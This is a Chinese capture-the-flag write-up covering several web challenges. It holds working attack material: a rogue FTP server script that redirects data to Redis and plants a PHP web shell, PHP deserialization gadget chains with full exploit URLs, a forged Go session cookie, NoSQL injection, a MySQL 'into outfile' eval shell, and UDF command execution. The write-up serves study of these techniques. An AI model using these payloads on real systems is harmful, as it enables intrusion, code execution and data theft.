这次羊城杯拿了双二等奖,遗憾差一题拿下冠军
菜狗只做了一道Only 4的预期解,其他的web@Firebasky
Cross The Side
考察:Laravel cve
之前用之前的cve没有打通,可能是php.ini里面的配置文件大小不一样。
https://www.freebuf.com/articles/network/286132.html
看这个文章直接利用file_put_concent打ftp服务然后打内网的9000端口,这里自己测试了一下9000端口应该不是。
那就是打redis 6379。
所以思路就是我们自己搭建一个ftp服务。通过被动代理去发送数据。
所以恶意的ftp.py,来自网上。。。。
import socket
def get(conn):
conn.send("220 (vsFTPd 3.0.3)\n")
print conn.recv(200)
conn.send("331 Please specify the password.\n")
print conn.recv(200)
conn.send("230 Login successful.\n")
print conn.recv(200)
conn.send("200 Switching to Binary mode.\n")
print conn.recv(200)
conn.send("213 3\n")
print conn.recv(200)
conn.send("229 Entering Extended Passive Mode (|||1337|)\n")
print conn.recv(200)
conn.send("150 Opening BINARY mode data connection for /test/test.php (3 bytes).\n")
conn.send("226 Transfer complete.\n")
print conn.recv(200)
conn.send("221 Goodbye.\n")
conn.close()
def put(conn):
conn.send("220 (vsFTPd 3.0.3)\n");
print conn.recv(20)
conn.send("331 Please specify the password.\n");
print conn.recv(20)
conn.send("230 Login successful.\n")
print conn.recv(20)
conn.send("200 Switching to Binary mode.\n");
print conn.recv(20)
conn.send("550 Could not get file size.\n");
print conn.recv(20)
conn.send("227 127,0,0,1,0,6379\n")
print conn.recv(20)
conn.send("227 127,0,0,1,0,6379\n")
print conn.recv(20)
conn.send("150 Ok to send data.\n")
conn.send("226 Transfer complete.\n")
print conn.recv(20)
conn.send("221 Goodbye.\n");
conn.close()
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
get(conn)
conn,address=sk.accept()
put(conn)
import socket
import base64
host = '0.0.0.0'
port = 1337
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
conn.send(base64.b64decode("KjENCiQ4DQpmbHVzaGFsbA0KKjMNCiQzDQpzZXQNCiQxDQoxDQokMzQNCgoKPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+CgoNCio0DQokNg0KY29uZmlnDQokMw0Kc2V0DQokMw0KZGlyDQokOA0KL3Zhci93d3cNCio0DQokNg0KY29uZmlnDQokMw0Kc2V0DQokMTANCmRiZmlsZW5hbWUNCiQ5DQpzaGVsbC5waHANCioxDQokNA0Kc2F2ZQ0KCg=="))
conn.close()
生成我们的payload,在进行base64加密
直接getflag
预期Only 4
index.php
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
$YCB = unserialize($ycb);
}else{
echo "what are you doing";
}
?>
盲猜了一个serialize.php,用gwht去读
http://192.168.40.239:8000/?gwht=php://filter/read=convert.base64-encode/resource=serialize.php
base64解码后得到serialize.php的源码
链子很简单,和前几天成理招新赛不能说一模一样,只能说完全一致了
//POC
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new Call();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new funct();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new func();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new string1();
}
}
class string1
{
public $str1;
public $str2;
public function __construct()
{
$this->str1=new GetFlag();
}
}
class GetFlag
{
public function get_flag()
{
echo highlight_file('secret.php');
}
}
$a = new start_gg();
echo urlencode(serialize($a));
?>
链子很简单,和前几天成理招新赛不能说一模一样,只能说完全一致了
另外
来绕过$url = parse_url($_SERVER['REQUEST_URI'])
可以在path中加入
/
https://www.xmsec.cc/n1ctf-web-review/#funning-eating-cms
最终的poc为
http://192.168.40.239:8000///index.php?gwht=serialize.php&ycb=O%3A8%3A%22start_gg%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A4%3A%22Call%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A5%3A%22funct%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A4%3A%22func%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A7%3A%22string1%22%3A2%3A{s%3A4%3A%22str1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A{}s%3A4%3A%22str2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}
到最后一层secret.php
<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
echo shell_exec($_GET['SXF']);
}
4字符RCE,可以参考陆队这篇文章
本来是想弹个shell出来,结果一直打不通,一直卡到晚上,容器都重启了两遍
最后因为这里是有回显的,没必要执着于弹shell,直接用这个trick
本地实验完之后,第二次重置容器后直接全盘读取,然后再搜SangFor
>cat
* /*
Checkin_Go
考察:伪随机数
https://github.com/EddieIvan01/secure-cookie-faker
发现下面函数每次生成是一样,
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
key我们在通过faker工具处理的时候使用$(printf'\x') 之前华为xctf 考察过
./secure-cookie-faker enc -n "o" -k "$(printf '\x52\xfd\xfc\x07\x21\x82\x65\x4f\x16\x3f\x5f\x0f\x9a\x62\x1d\x72')" -o "{checkPlayerMoney[string]: OmHQ8pB2diwXKx3RMhJJUw[string],hsh[string]: 0a7610[string],nowMoney[string]: 200000[int],checkNowMoney[string]: JkeLNs0tAng7rDdgtr1nDQ[string],uname[string]: admin[string],playerMoney[string]: 5000[int]}"
{checkPlayerMoney[string]: OmHQ8pB2diwXKx3RMhJJUw[string],hsh[string]: 0a7610[string],nowMoney[string]: 200000[int],checkNowMoney[string]: JkeLNs0tAng7rDdgtr1nDQ[string],uname[string]: admin[string],playerMoney[string]: 5000[int]}
然后登录成功一次一次的添加钱发现存在一个溢出。溢出成功,之后直接buy
NO SQL
考察:NO SQL注入
安全客原文章:https://www.anquanke.com/post/id/241113#h3-6,相当于复现一下题23333。
注入获得token,之后修改密码进行登录。
在其中写入一句话,然后蚁剑连接。
在执行命令的时候发现不了,然后就使用ffi bypass df ,寻找flag。在根目录下有flag,不过没有权限。
本来想在tmp下上传脚本提权的,然后发现在/tmp目录下有奇奇怪怪的文件试一试找flag。果然。。。。。
不过提权,在ctf中可能只是suid和path这些提权了吧。没有成功。。。
Curl
给了common.php文件,然后在扫描一下发现有app,于是查看。
发现密码,直接登录。。之后并没有利用点,就去测试admin.php,就一个反序列化漏洞点,所以需要我们pop..
然后就在common.php里面寻找pop。
<?php
class User
{
public $username;
public $session_id='1';
public function __construct($username)
{
$this->username=$username;
}
}
class cache_parser{
public $user;
public $default_handler;
public $logger;
public function __construct($cache_parser,$url)
{
$this->user = new User('');
$this->logger = $cache_parser;
$this->default_handler = new file_request($url);
}
}
class file_request{
public $url;
public function __construct($url)
{
$this->url=$url;
}
}
$exp = new User(
new cache_parser(
new cache_parser('','file:///etc/passwd'),
''));
echo (serialize($exp));
直接看一下调用栈吧
common.php:208, file_request->request()
common.php:224, file_request->__invoke()
common.php:158, cache_parser->__call()
common.php:173, cache_parser->write_log()
common.php:173, cache_parser->save_user_info()
common.php:149, cache_parser->__toString()
common.php:29, User->__wakeup()
common.php:251, unserialize()
common.php:251, {main}()
之后就是读config.php文件,存在mysql然后大概就是写shell了。通过ssrf协议去写shell.
select '<?php @eval($_POST[1])?>' into outfile '/var/www/html/1.php'
发现写入不了。。。
其他思路,前几天我们省赛有一个udf提权的,于是来试一试。
https://blog.csdn.net/qq_33020901/article/details/78827375
https://www.sqlsec.com/tools/udf.html
create function sys_eval returns string soname 'udf.so';
之后就执行命令。。直接获得flag